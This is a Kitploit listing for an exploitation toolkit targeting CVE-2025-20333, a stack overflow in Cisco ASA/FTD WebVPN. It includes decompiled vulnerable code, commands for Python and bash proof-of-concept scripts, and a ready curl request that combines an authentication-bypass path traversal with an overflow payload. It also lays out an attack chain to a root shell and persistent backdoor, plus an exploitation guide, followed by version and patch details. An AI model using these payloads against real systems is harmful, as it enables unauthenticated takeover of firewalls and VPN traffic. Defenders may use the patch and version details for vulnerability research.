cve-2025-20333 — Complete research and exploitation toolkit for CVE-2025-20333, a critical stack buffer overflow in Cisco ASA/FTD WebVPN. Includes detailed binary analysis, PoC exploits in Python and bash, and exploitation guide. | Kitploit

Fixed 16-byte buffer (local_58[16]) in body_lexer.re2c
URL-decoding loop has NO BOUNDS CHECK
Writing to local_58[iVar11] without checking iVar11 < 16
After 8 hex pairs: overflow → stack corruption → RCE

# Show vulnerability details
python3 cve-2025-20333-poc.py --details

# Exploit target
python3 cve-2025-20333-poc.py 192.168.1.100 443

# Custom settings
python3 cve-2025-20333-poc.py firewall.example.com 8443 -t 30

# Show details
./cve-2025-20333-poc.sh --details

# Exploit
./cve-2025-20333-poc.sh 192.168.1.100 443 10

# Manual with curl
curl -X POST https://target/+CSCOU+/../+CSCOE+/files/file_list.json \
  -d "name=%2f%2f%2f%2f%2f%2f%2f%2f%2f" --insecure

Property	Value
CVE ID	CVE-2025-20333
Type	Stack Buffer Overflow (CWE-120)
Component	body_lexer.re2c (FUN_0302e690)
Affected Versions	ASA 9.16–9.23, FTD 7.0–7.7
CVSS v3.1	9.8 (Critical)
Authentication	Not required (via CVE-2025-20362)
User Interaction	None
Impact	RCE as root, full system compromise
Status	Actively exploited (May 2025+)
Responsible Disclosure	Cisco patched; advisory published

// body_lexer.re2c - URL-decoding loop
byte local_58[16];  // ← Fixed 16-byte buffer

while (parsing_request_body) {
    byte input = *data++;
    
    if (input == '%') {
        hex_decode_mode = true;
        hex_index = 0;
    }
    
    if (hex_decode_mode) {
        local_58[hex_index] = input;  // ← NO BOUNDS CHECK!
        hex_index++;
        
        if (hex_index == 2) {
            byte decoded = hex_pair_to_byte(local_58[0], local_58[1]);
            hex_decode_mode = false;
        }
    }
}

1. Attacker (NO AUTH required)
   ↓
2. HTTP POST to /+CSCOU+/../+CSCOE+/files/file_list.json
   ├─ CVE-2025-20362: Path traversal bypasses auth check
   └─ Reaches files_retr.lua endpoint (auth_flag = 0)
   ↓
3. POST body: name=%2f%2f%2f%2f%2f%2f%2f%2f%2f
   (9+ URL-encoded pairs)
   ↓
4. body_lexer.re2c processes POST body
   ├─ Accumulates hex pairs into local_58[16]
   └─ After 8 pairs: OVERFLOW!
   ↓
5. Stack corruption
   ├─ Overwrites local_48, local_40
   ├─ Overwrites saved RBP
   └─ Overwrites saved RIP (return address)
   ↓
6. Control flow hijack
   ├─ RIP points to ROP gadgets
   ├─ ROP chain sets up execve()
   └─ execve("/bin/sh", NULL, NULL)
   ↓
7. RCE as root (lina process runs as root)
   ├─ Full VPN server compromise
   ├─ Access to all VPN traffic
   └─ Persistence via NVRAM modification

Verify Authorization
- Obtain written permission to test
- Confirm target system details (IP, port, version)
- Document scope and timeline

Run Exploit

# Quick check: Does target respond to exploit attempt?
python3 cve-2025-20333-poc.py <target_ip>

# Or bash version:
./cve-2025-20333-poc.sh <target_ip>

Verify Exploitation
- Check for shell access / reverse shell connection
- Examine system logs for crashes or anomalies
- Scan for modified files (NVRAM, persistent backdoor)
Document Findings
- Record target version, patch level
- Document exploitation success/failure
- Note any defensive measures encountered
- Report to client with remediation recommendations

cve-2025-20333/
├── README.md                              (this file)
├── CVE-2025-20333-RESEARCH-NOTES.md      (20 KB, comprehensive research)
├── EXPLOITATION-GUIDE.md                 (12 KB, practical guide)
├── cve-2025-20333-poc.py                 (15 KB, Python PoC)
└── cve-2025-20333-poc.sh                 (8.5 KB, bash PoC)

# Test if target is vulnerable to exploitation
curl -X POST https://<target>/+CSCOU+/../+CSCOE+/files/file_list.json \
  -d "name=%2f%2f%2f%2f%2f%2f%2f%2f%2f" \
  --insecure \
  -i

# If target responds (200, 500, crash), it may be vulnerable
# If target blocks/redirects, it may be patched

# Vulnerable versions:
# - Cisco ASA 9.16 through 9.23
# - Cisco FTD 7.0 through 7.7

# Use SSH/console to check ASA version:
show version

# Patched versions:
# - ASA 9.16.4.51, 9.18.4.31, 9.20.4.49, 9.22.4.9, 9.24.1+
# - FTD 7.0.x, 7.1.x, 7.2.x (patched)

cve-2025-20333

Most Popular

`EXPLOITATION-GUIDE.md` (12 KB)

🔧 Proof of Concept Exploits

`cve-2025-20333-poc.py` (15 KB)

`cve-2025-20333-poc.sh` (8.5 KB)

Vulnerability Summary

Quick Facts

Root Cause

Attack Chain

Research Process

Phase 1: Binary Analysis ✅

Phase 2: Web Intelligence ✅

Phase 3: Targeted Reversing ✅

Phase 4: Exploit Development ✅

Usage Instructions

For Authorized Penetration Testing

For Security Research

Important Warnings

Files Manifest

Quick Reference

Vulnerability Quick Test

Version Check

Mitigation Checklist

References

Disclaimer

Attribution